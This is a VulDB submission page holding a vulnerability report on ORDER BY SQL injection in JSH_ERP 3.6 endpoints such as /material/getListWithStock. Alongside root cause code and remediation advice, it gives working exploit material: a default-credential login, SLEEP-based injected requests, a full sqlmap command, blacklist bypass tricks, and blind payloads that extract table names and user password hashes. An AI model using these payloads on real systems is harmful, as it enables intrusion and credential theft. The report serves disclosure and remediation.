إرسال #701748: ERP jshERP 3.6 /material/getListWithStock SQL Injectionالمعلومات

عنوانERP jshERP 3.6 /material/getListWithStock SQL Injection
الوصف ## 1. Vulnerability Summary **Title**: Multiple SQL Injection Vulnerabilities in JSH_ERP Material and Depot Management Modules **CWE Classification**: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') **Vendor**:華夏erp (jishenghua/JSH_ERP) **Product**: JSH_ERP - Enterprise Resource Planning System **Affected Component**: - Material Management Module (`MaterialController.java`, `MaterialMapperEx.xml`) - Depot Head Management Module (`DepotHeadController.java`, `DepotHeadMapperEx.xml`) **Vulnerability Type**: SQL Injection (Time-Based Blind) **Attack Vector**: Network (Remote) **Authentication Required**: Yes (Valid user credentials required) **Submitter**:yudeshui --- ## 2. Affected Versions **Confirmed Vulnerable Versions**: - JSH_ERP v3.6-SNAPSHOT - JSH_ERP v3.x (All versions prior to patch) **Testing Environment**: - Spring Boot: 2.0.0.RELEASE - MyBatis-Plus: x.x.x.x - MySQL: 8.0.33 - JDK: 1.8 --- ## 3. Vulnerability Description The JSH_ERP system contains multiple SQL injection vulnerabilities in the ORDER BY clause of database queries. The application uses MyBatis dynamic SQL with `${}` syntax to construct ORDER BY statements, directly concatenating user-controlled input without proper validation or parameterization. ### 3.1 Root Cause Analysis **Vulnerable Code Pattern** (`MaterialMapperEx.xml` line 621-622): ```xml <if test="column != 'createTime'"> order by ${column} ${order} </if> ``` **Vulnerable Controller** (`MaterialController.java` line 378-391): ```java @GetMapping(value = "/getListWithStock") public BaseResponseInfo getListWithStock( @RequestParam(value = "column", required = false, defaultValue = "createTime") String column, @RequestParam(value = "order", required = false, defaultValue = "desc") String order, ... ) { // Uses StringUtil.safeSqlParse() which is insufficient List<MaterialVo4Unit> dataList = materialService.getListWithStock( ..., StringUtil.safeSqlParse(column), // VULNERABLE StringUtil.safeSqlParse(order), // VULNERABLE ... ); } ``` ### 3.2 Inadequate Security Control The application implements a blacklist-based filter (`StringUtil.safeSqlParse()`), which can be easily bypassed using: - Double encoding - Case variation - Comment injection - Multi-column ORDER BY syntax --- ## 4. Identified Vulnerable Endpoints ### 4.1 Primary Vulnerability **Endpoint**: `/jshERP-boot/material/getListWithStock` **Method**: GET **Parameters**: `column`, `order` **File**: `src/main/resources/mapper_xml/MaterialMapperEx.xml:621-622` ### 4.2 Additional Vulnerabilities 1. **Endpoint**: `/jshERP-boot/depotHead/findInOutDetail` - **File**: `DepotHeadMapperEx.xml:196-198` - **Parameters**: `column`, `order` 2. **Endpoint**: `/jshERP-boot/depotHead/findInOutMaterialCount` - **File**: `DepotHeadMapperEx.xml:278-280` - **Parameters**: `column`, `order` 3. **Endpoint**: `/jshERP-boot/depotHead/findAllocationDetail` - **File**: `DepotHeadMapperEx.xml:384-386` - **Parameters**: `column`, `order` --- ## 5. Proof of Concept (PoC) ### 5.1 Manual Testing - Time-Based Blind SQL Injection **Step 1**: Authenticate and obtain session token ```http POST /jshERP-boot/user/login HTTP/1.1 Host: target.example.com Content-Type: application/json { "loginName": "jsh", "password": "e10adc3949ba59abbe56e057f20f883e" } ``` **Response**: ```json { "code": 200, "data": { "token": "YOUR_SESSION_TOKEN" } } ``` **Step 2**: Execute SQL Injection **Normal Request** (Baseline): ```http GET /jshERP-boot/material/getListWithStock?currentPage=1&pageSize=10&materialParam=&zeroStock=0&column=id&order=desc HTTP/1.1 Host: target.example.com X-Access-Token: YOUR_SESSION_TOKEN ``` **Response Time**: ~0.3 seconds **Malicious Request** (Injected): ```http GET /jshERP-boot/material/getListWithStock?currentPage=1&pageSize=10&materialParam=&zeroStock=0&column=id&order=desc,(SLEEP(5)) HTTP/1.1 Host: target.example.com X-Access-Token: YOUR_SESSION_TOKEN ``` **Response Time**: ~60 seconds (executed SLEEP(5) multiple times due to result set iteration) **Resulting SQL Query**: ```sql ORDER BY id desc,(SLEEP(5)) ``` ### 5.2 SQLMap Automated Testing **Command**: ```bash sqlmap -u "http://target.example.com/jshERP-boot/material/getListWithStock?currentPage=1&pageSize=10&materialParam=&zeroStock=0&column=id&order=desc" \ --header="X-Access-Token: YOUR_SESSION_TOKEN" \ -p "order" \ --dbms=mysql \ --technique=T \ --level=5 \ --risk=3 \ --batch ``` <img width="1061" height="938" alt="Image" src="https://github.com/user-attachments/assets/1d4cf33c-2049-42ea-975d-f7103d53ed4d" /> **Expected Output**: SQLMap successfully identifies time-based blind SQL injection ### 5.3 Data Exfiltration PoC **Extract Database Name**: ``` order=desc,IF(SUBSTRING((SELECT DATABASE()),1,1)='j',SLEEP(3),0) ``` **Extract Table Names**: ``` order=desc,IF(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1)='j',SLEEP(3),0) ``` **Extract User Credentials**: ``` order=desc,IF(SUBSTRING((SELECT password FROM jsh_user LIMIT 0,1),1,1)='e',SLEEP(3),0) ``` ### 6.2 Real-World Impact **Confirmed Exploitable Scenarios**: 1. **Data Breach**: - Extract all user credentials (including hashed passwords) - Access sensitive business data (inventory, transactions, customer information) - Enumerate database structure (tables, columns) 2. **Privilege Escalation**: - Extract administrator credentials via blind injection - Identify system configuration details 3. **Business Logic Bypass**: - Manipulate inventory data - Alter financial records (with additional exploitation) 4. **Compliance Violations**: - GDPR violations (unauthorized data access) - PCI DSS non-compliance (if payment data stored) **Affected Data Tables**: ``` - jsh_user (user credentials) - jsh_material (product information) - jsh_depot_head (warehouse transactions) - jsh_depot_item (inventory details) - jsh_supplier (supplier information) - jsh_material_current_stock (current inventory levels) ``` --- ## 7. Technical Details ### 7.1 Vulnerability Chain ``` User Input (order=desc,(SLEEP(5))) ↓ MaterialController.getListWithStock() ↓ StringUtil.safeSqlParse() [BYPASSED] ↓ MaterialService.getListWithStock() ↓ MyBatis XML Mapper (${order}) ↓ SQL: ORDER BY id desc,(SLEEP(5)) ↓ MySQL Execution → 60 second delay ``` ### 7.2 Blacklist Bypass Techniques The existing `StringUtil.safeSqlParse()` filter uses regex to block SQL keywords: ```java public static String safeSqlParse(String originStr){ return originStr.replaceAll("(?i)" + regex, ""); } ``` **Bypass Methods**: 1. **Function Injection**: `SLEEP(5)` - Not in blacklist 2. **Multi-column ORDER BY**: `desc,(SLEEP(5))` - Valid MySQL syntax 3. **Double Encoding**: `selselectect` → `select` 4. **Comment Injection**: `/**/UNION/**/SELECT` 5. **Case Mixing**: `SeLeCt` --- ## 8. Remediation ### 8.1 Immediate Mitigation (Temporary) **Option 1**: Disable dynamic sorting ```java // Remove user-controlled ORDER BY String column = "createTime"; // Fixed value String order = "desc"; // Fixed value ``` **Option 2**: Implement strict whitelist validation ```java private static final Map<String, String> ALLOWED_COLUMNS = Map.of( "id", "m.id", "name", "m.name", "createTime", "m.create_time" ); private static final Set<String> ALLOWED_ORDER = Set.of("asc", "desc"); public List<MaterialVo4Unit> getListWithStock(..., String column, String order, ...) { if (!ALLOWED_COLUMNS.containsKey(column)) { column = "createTime"; } if (!ALLOWED_ORDER.contains(order.toLowerCase())) { order = "desc"; } String safeColumn = ALLOWED_COLUMNS.get(column); return mapper.getListWithStock(..., safeColumn, order.toLowerCase(), ...); } ``` ### 8.2 Permanent Fix (Recommended) **Solution 1**: Use MyBatis `<choose>` instead of `${}` ```xml <choose> <when test="column == 'id' and order == 'asc'"> order by m.id asc </when> <when test="column == 'id' and order == 'desc'"> order by m.id desc </when> <when test="column == 'name' and order == 'asc'"> order by m.name asc </when> <otherwise> order by m.id desc </otherwise> </choose> ``` **Solution 2**: Use Enum-based column mapping ```java public enum SortColumn { ID("id", "m.id"), NAME("name", "m.name"), CREATE_TIME("createTime", "m.create_time"); private final String key; private final String dbColumn; public static String getDbColumn(String key) { for (SortColumn col : values()) { if (col.key.equals(key)) { return col.dbColumn; } } return "m.id"; // default } } ``` ### 8.3 Additional Security Measures 1. **Database User Permissions**: Limit SELECT-only access 2. **Web Application Firewall (WAF)**: Deploy ModSecurity rules 3. **Code Review**: Audit all `${}` usage in MyBatis XML 4. **Security Testing**: Implement automated SQL injection scanning in CI/CD --- ## 9. Affected Systems https://gitee.com/jishenghua/JSH_ERP --- ## 10. References 1. **CWE-89**: SQL Injection - https://cwe.mitre.org/data/definitions/89.html 2. **OWASP Top 10**: A03:2021 – Injection - https://owasp.org/Top10/A03_2021-Injection/ 3. **MyBatis Security Best Practices** - https://mybatis.org/mybatis-3/sqlmap-xml.html 4. **CVSS v3.1 Calculator** - https://www.f
المصدر⚠️ https://github.com/rassec2/dbcve/issues/16
المستخدم
 yudeshui (UID 91129)
ارسال26/11/2025 06:48 AM (10 أشهر منذ)
الاعتدال07/12/2025 04:38 PM (11 days later)
الحالةمكرر
إدخال VulDB253069 [jshERP 3.3 getListWithStock حقن SQL]
النقاط0

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!